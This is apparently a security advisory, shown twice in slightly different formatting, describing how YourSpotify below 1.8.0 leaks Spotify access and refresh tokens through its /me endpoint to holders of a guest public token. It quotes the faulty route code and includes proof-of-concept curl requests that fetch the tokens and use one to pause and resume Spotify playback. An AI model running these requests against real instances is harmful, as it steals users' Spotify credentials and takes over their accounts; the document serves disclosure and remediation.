Summary
YourSpotify version <1.8.0 allows users to create a public token in the settings, which can be used to provide guest-level access to the information of that specific user in YourSpotify. The /me
API endpoint discloses Spotify API access and refresh tokens to guest users. Attackers with access to a public token for guest access to YourSpotify can therefore obtain access to Spotify API tokens of YourSpotify users.
As a consequence, attackers may extract profile information, information about listening habits, playlists and other information from the corresponding Spotify profile. In addition, the attacker can pause and resume playback in the Spotify app at will.
Details
YourSpotify allows users to create a public token in the settings, which can be used to provide guest-level access to the information of that specific user in YourSpotify. The public token can be used by appending the ?token=<the-public-token>
parameter to frontend or backend calls. These public tokens are intended to be shared with a wider audience to let anyone with access to the token look at, but not modify, the data in the YourSpotify instance.
Not all backend endpoints are accessible to guest users using public tokens. However, the /me
endpoint is available using a guest token and no other form of authentication. The response sent by the /me
endpoint contains Spotify API access tokens and refresh tokens. Details can be found in the proof-of-concept below.
The root cause of this issue is that the implementation of the /me
endpoint simply returns the full User
object as it is stored in the MongoDB database without removing any sensitive fields, or better yet, only selectively extracting the required fields for the response. The corresponding code can be found in route /me
in server/src/routers/index.ts
:
|
router.get('/me', optionalLoggedOrGuest, async (req, res) => { |
|
const { user } = req as OptionalLoggedRequest; |
|
if (user) { |
|
return res.status(200).send({ status: true, user }); |
|
} |
|
return res.status(200).send({ status: false }); |
|
}); |
The available fields in the User
object can be found in interface User
in server/src/database/schemas/user.ts
:
|
export interface User { |
|
_id: Types.ObjectId; |
|
username: string; |
|
admin: boolean; |
|
spotifyId: string | null; |
|
expiresIn: number; |
|
accessToken: string | null; |
|
refreshToken: string | null; |
|
lastTimestamp: number; |
|
tracks: Schema.Types.ObjectId[]; |
|
settings: { |
|
historyLine: boolean; |
|
preferredStatsPeriod: string; |
|
nbElements: number; |
|
metricUsed: 'number' | 'duration'; |
|
darkMode: DarkModeType; |
|
timezone: string | undefined; |
|
blacklistedArtists: string[]; |
|
}; |
|
lastImport: string | null; |
|
publicToken: string | null; |
|
firstListenedAt?: Date; |
Proof of Concept
The following example curl
command sends a request with a public token to the /me
endpoint:
curl "http://backend.yourspotify.internal:8080/me?token=6f4f79d6-b957-4487-8d97-23569b6e7935"
The (formatted and redacted) JSON response to this command is shown below:
{
"status": true,
"user": {
"settings": {
"historyLine": false,
"preferredStatsPeriod": "month",
"nbElements": 10,
"metricUsed": "number",
"darkMode": "follow",
"blacklistedArtists": []
},
"_id": "65ce739fca48dd258976a58a",
"username": "<REDACTED>",
"admin": true,
"spotifyId": "<REDACTED>",
"expiresIn": 1708119315677,
"accessToken": "<REDACTED>",
"refreshToken": "<REDACTED>",
"lastTimestamp": 1708116272907,
"lastImport": null,
"publicToken": "6f4f79d6-b957-4487-8d97-23569b6e7935",
"__v": 0,
"firstListenedAt": "2024-02-15T15:03:15.946Z",
"id": "65ce739fca48dd258976a58a"
}
}
The fields accessToken
and refreshToken
are particularly interesting to an attacker, as these contain the actual access tokens and refresh tokens for the Spotify API (as in the real Spotify, not YourSpotify). An attacker can then use this access token to access all Spotify API endpoints YourSpotify has access to.
For example, the following curl
command can be used to pause playback in a currently running Spotify session:
curl -X PUT \
-H "Authorization: Bearer <REDACTED accessToken>" \
"https://api.spotify.com/v1/me/player/pause"
The following command can be used to resume playback:
curl -X PUT \
-H "Authorization: Bearer <REDACTED accessToken>" \
"https://api.spotify.com/v1/me/player/play"
These calls are only intended as proof-of-concept examples. The tokens allow access to all Spotify API endpoints YourSpotify is authorized to access.
Impact
YourSpotify exposes sensitive data, including Spotify API access and refresh tokens, to guest users that only have access to YourSpotify public tokens. Users do not expect that sharing their YourSpotify public token (which is intended to be shared) provides potential attackers access to actual Spotify API tokens.
As a consequence, attackers may extract profile information, information about listening habits, playlists and other information from the corresponding Spotify profile. In addition, the attacker can pause and resume playback in the Spotify app at will.
Summary
YourSpotify version <1.8.0 allows users to create a public token in the settings, which can be used to provide guest-level access to the information of that specific user in YourSpotify. The
/me
API endpoint discloses Spotify API access and refresh tokens to guest users. Attackers with access to a public token for guest access to YourSpotify can therefore obtain access to Spotify API tokens of YourSpotify users.As a consequence, attackers may extract profile information, information about listening habits, playlists and other information from the corresponding Spotify profile. In addition, the attacker can pause and resume playback in the Spotify app at will.
Details
YourSpotify allows users to create a public token in the settings, which can be used to provide guest-level access to the information of that specific user in YourSpotify. The public token can be used by appending the
?token=<the-public-token>
parameter to frontend or backend calls. These public tokens are intended to be shared with a wider audience to let anyone with access to the token look at, but not modify, the data in the YourSpotify instance.Not all backend endpoints are accessible to guest users using public tokens. However, the
/me
endpoint is available using a guest token and no other form of authentication. The response sent by the/me
endpoint contains Spotify API access tokens and refresh tokens. Details can be found in the proof-of-concept below.The root cause of this issue is that the implementation of the
/me
endpoint simply returns the fullUser
object as it is stored in the MongoDB database without removing any sensitive fields, or better yet, only selectively extracting the required fields for the response. The corresponding code can be found in route/me
inserver/src/routers/index.ts
:your_spotify/server/src/routes/index.ts
Lines 82 to 88 in b205bfb
The available fields in the
User
object can be found in interfaceUser
inserver/src/database/schemas/user.ts
:your_spotify/server/src/database/schemas/user.ts
Lines 5 to 26 in b205bfb
Proof of Concept
The following example
curl
command sends a request with a public token to the/me
endpoint:curl "http://backend.yourspotify.internal:8080/me?token=6f4f79d6-b957-4487-8d97-23569b6e7935"
The (formatted and redacted) JSON response to this command is shown below:
The fields
accessToken
andrefreshToken
are particularly interesting to an attacker, as these contain the actual access tokens and refresh tokens for the Spotify API (as in the real Spotify, not YourSpotify). An attacker can then use this access token to access all Spotify API endpoints YourSpotify has access to.For example, the following
curl
command can be used to pause playback in a currently running Spotify session:The following command can be used to resume playback:
These calls are only intended as proof-of-concept examples. The tokens allow access to all Spotify API endpoints YourSpotify is authorized to access.
Impact
YourSpotify exposes sensitive data, including Spotify API access and refresh tokens, to guest users that only have access to YourSpotify public tokens. Users do not expect that sharing their YourSpotify public token (which is intended to be shared) provides potential attackers access to actual Spotify API tokens.
As a consequence, attackers may extract profile information, information about listening habits, playlists and other information from the corresponding Spotify profile. In addition, the attacker can pause and resume playback in the Spotify app at will.